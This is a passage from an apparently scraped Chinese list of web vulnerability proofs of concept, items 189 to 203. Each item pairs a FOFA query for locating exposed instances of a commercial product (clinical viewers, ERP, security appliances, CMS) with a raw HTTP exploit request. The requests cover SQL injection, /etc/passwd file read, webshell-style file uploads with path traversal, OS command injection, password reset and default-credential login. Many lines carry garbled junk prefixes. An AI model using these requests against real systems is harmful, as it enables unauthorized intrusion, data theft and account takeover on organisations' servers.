8 _1 B) O- J0 Z9 Z% S& ZConnection: close

& V% k# X9 {; S- r# _
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
4 W* C& b+ Y  ]6 `GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
9 m) B: ?6 y  kUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 X# ?6 ^! b" h- O* W, i3 S: e+ L0 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- a3 ]! ^2 Z5 n4 G2 K$ Z& lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

& g& U# K! Y; }
1 X% m& {1 E, A190. 短视频矩阵营销系统 poihuoqu 任意文件读取
. n7 [5 F% G3 r7 e5 I8 `/ W% GFOFA：title=="短视频矩阵营销系统"
# w1 \/ j$ o" U* q1 SPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
: l& E: _/ d' g* t! nHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
7 b& s, ?# W2 s* c; g0 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
; K2 K1 x! V* rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% b0 T1 T3 r. H5 {4 |
poi=file:///etc/passwd


( A( U3 i- t! t- _191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
8 V: u, h7 D, S7 nPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
  j  h# O" X  l  ^7 H6 Z% a0 FHost: your-ip
  x9 d/ i( r8 K  V- s/ EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

+ s; X3 M1 C" u2 C% Q% o& Gcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
# T' [$ n" S7 s4 C0 M. q/ h8 r
8 r  R( N" {" C( y5 W) t0 Z; v
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
, C" E+ X- h- L: OPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
1 K) ]# u* |! f8 OHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
  f+ V7 R( U% s" eContent-Type: application/x-www-form-urlencoded


! o& {2 m; T4 L" t<% @ webhandler language="C#" class="AverageHandler" %>
4 y3 a' ?- S* |, C- busing System;
using System.Web;
public class AverageHandler : IHttpHandler
) s. z$ ^  Y) p6 {1 m{
$ a/ v" b: @: L; c4 k5 dpublic bool IsReusable
6 {1 l4 @7 l- j! q{ get { return true; } }
3 x% _) t: R' j$ w( Upublic void ProcessRequest(HttpContext ctx)
' n* q" G' G+ U! G1 d! v) I! w9 _% B{
ctx.Response.Write("test");
}
8 l' P% z4 |: `9 G. \+ J5 W}
8 Z2 u" J; X% ~4 x  a
% q$ D- D% u7 g$ `
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
) D# j9 z* }- Z# u* _4 z! t( UCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
5 q( Q! x: k* t+ K5 U, u
. I: h7 q0 X+ t% B6 K$ s* }
. I" O0 ?2 D( G, k3 v# ~& S+ BPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
8 Z( y0 _( k& G8 l; HConnection: close
3 D% A6 u. D( t' @1 k& y& F& ACookie: PHPSESSID=2333333333333;
7 ^9 w$ a0 w' {/ kContent-Type: application/x-www-form-urlencoded
, c& H4 k2 N: }0 j' ~( b. iContent-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
! S+ h' k+ b: Z. x  ?# M

GET /master/img/config HTTP/1.1
Host:
0 G  I. O, G+ X  GUser-Agent: Mozilla/5.0


$ K- h" T- _6 B7 G  n194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
2 S; R, d8 X9 y: G& }& L7 ~FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
8 T. S/ J9 {" _' o
POST /servlet/uploadAttachmentServlet HTTP/1.1
2 O- A6 L% t3 y$ i8 }Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; F7 y' c4 ~, L4 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
& i0 u4 g* L4 D6 p) V/ a  AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
2 Z5 {; P  k! ^  |+ t
" A9 L9 u- a8 a* j- g: K& G7 S! CContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
! \& c7 O' D/ aContent-Type: text/plain
! P  S% ]* p! v& D; t+ ~<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
6 P+ f+ a. J- a. x5 f" l {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
6 X+ y/ R* F9 \7 j% P
+ |" T9 S4 r; B7 D/ ], d9 Z1 r# V
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
+ p3 P- i/ G$ m9 h- ?9 jPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
7 c3 d: F! @- R% p0 XPragma: no-cache
" u9 Z* Y% O% Y# n$ U* iCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
0 B8 {$ g% _' F$ f: RAccept: */*
Accept-Encoding: gzip, deflate
8 k: F& E' M( A$ @Accept-Language: zh-CN,zh;q=0.9
/ L# h8 f# B! U$ LConnection: close
Content-Type: application/x-www-form-urlencoded
2 Q) A, B9 {- S; S4 k: uContent-Length: 68
# @. x# f; v# k2 v* a/ Y' a/ L
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
$ Y3 i1 m" w& Z9 _- G

196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
7 q7 U- f9 v9 ~3 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
9 ]* W, A% `+ u) z8 f( d9 z0 THost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
( x( S9 y4 _9 S* FConnection: close
# D+ v$ Z" Y) J- z6 W& w: F- {
: {- {& `0 N2 J& X# w{"xgh":"test","newPass":"test666","email":""}

1 I7 C( g1 L. u( ?8 b

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
- m# B- d. J1 ~GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
/ B/ ]6 y; s2 P6 Y3 u9 aHost:
+ C9 m0 B0 n, {  Z  {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close

3 y: M0 f, \+ n" p4 @
, M7 c/ @; L# H8 J% C' K
" b7 H) n; v7 [9 f198.  阿里云盘 WebDAV 命令注入
* S4 g' R/ ^: q  Y  XCVE-2024-29640
& F: S, L/ Q) i9 X# RGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
( r8 O8 e5 C1 P, E" v4 p2 ECookie: sysauth=41273cb2cffef0bb5d0653592624cf64
9 {9 ?. b$ T2 f' z) w5 ~! KAccept: */*
) c0 ]% k" `* ~  F4 lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
) F$ ^* `1 T" @( RConnection: close


, \  h" H( ?, V199. cockpit系统assetsmanager_upload接口 文件上传
& \9 v$ `! n2 U- Z! x
8 J$ g3 O0 O5 R' J# q" s1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
4 Q% D5 X+ I/ J2 w( R# Q
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
5 X0 a5 b2 z3 O% T5 Y
# Q! B3 f  O; o2.使用刚才上一步获取到的jwt获取cookie：
0 j3 j0 J, d0 Q2 p) H. a
POST /auth/check HTTP/1.1
Content-Type: application/json

# ?7 F8 q8 r8 U- ^7 H{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

3 N# Q, a% o5 G' B6 d) @响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
: l3 P4 u" K+ R* s2 uFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
  {8 @$ \/ S$ w; v& E: X# AContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
& k3 |" V3 N4 k! ~- i
" m$ v7 L9 c' {-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
+ q* H# e. r; g9 I6 @Content-Disposition: form-data; name="folder"

! D) J" h# U( E% M3 l$ Y2 X-----------------------------36D28FBc36bd6feE7Fb3--
4 |/ Q* g  z' a6 m  r# G

/storage/uploads/tttt.php

* y& [9 S, m) j9 \200. SeaCMS海洋影视管理系统dmku SQL注入
) @. y1 N! b8 c$ RFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
3 v. u5 Z0 e9 B& K; W% Z6 HCache-Control: max-age=0
1 X+ ]3 ]8 b& N0 s+ E8 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' [6 U; V  V% p- x+ W) J

9 u, G, k' S. J1 b1 @201. 方正全媒体新闻采编系统 binary SQL注入
3 r* v& J% e" y/ q4 o5 zFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
- ?7 [7 L7 @) w, E3 L* F+ J, [Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 @1 g; O$ \: N' @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 J  b3 ~1 ]& D5 Q2 ~; ~Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


202. 微擎系统 AccountEdit任意文件上传
9 a, l. _1 |: A3 y# k" mFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
2 I3 @0 T5 ?/ O, s9 u+ c" k* }6 PGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
2 w9 A4 a7 y3 _" q! `/ w% y

8 W" l  U$ c6 n! E/ f替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
' E* F$ e5 I5 \. S( `( H& a. bAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

! C5 K' F% Q7 Y& E- z( B7 y& [-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
% N4 Q4 r6 `4 t9 g; j% D
( J) [3 x3 Y. `% z1 c8 b. a__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
# G; [* e  `6 q- C3 @2 G* P9 yContent-Disposition: form-data; name="__EVENTVALIDATION"

8 m: O! n, x, R0 i: e__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
$ ~3 T( V; ^9 n. {5 t* FContent-Type: text/plain

Hello World!
; P  M0 G0 h5 f-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

: T6 S2 c, ]) Q+ x- ?6 W上传图片
-----------------------------786435874t38587593865736587346567358735687
6 g3 j& v2 c/ `7 g2 fContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
# ^  g6 v3 L8 O# K
# I8 x1 z9 p7 ~* T; q) U
+ X# N& Y' f, l7 F0 R7 L0 X# p-----------------------------786435874t38587593865736587346567358735687
. E" L- W+ ^  O: p, i  |( {2 pContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--
5 o) k# e; v6 E4 ~- F  R
# E# Z. W+ h% D7 H1 K
/_data/Uploads/1123.txt

6 p, D+ p7 h: t& K- b$ ]. R1 e203. 红海云EHR PtFjk 文件上传
2 Y% u- D1 F: m6 M1 i. n! [& Z0 r: WFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
& }# }& t9 R; B$ V& O8 X5 ?Host: x.x.x.x
- v. h8 j4 K. ]7 L" c7 }* BAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 H' G7 F- Q) I3 D8 k6 {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
8 K. [# y; I7 D# u. z' I
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
4 e% |1 ]8 V' b# _: z' [9 Q9 e* F------WebKitFormBoundaryt7WbDl1tXogoZys4--
. ~* M2 T/ s& X
5 f9 c, X% L" ^$ J! Z: \
; z: k/ w; A4 ]4 n3 Y/ d6 o
9 a' X& V  A( |. P7 y* x( U2 p
$ Z8 ]! L$ p9 F% `
) n& c: f+ U, y/ n' t! @
) X( S5 J# q, f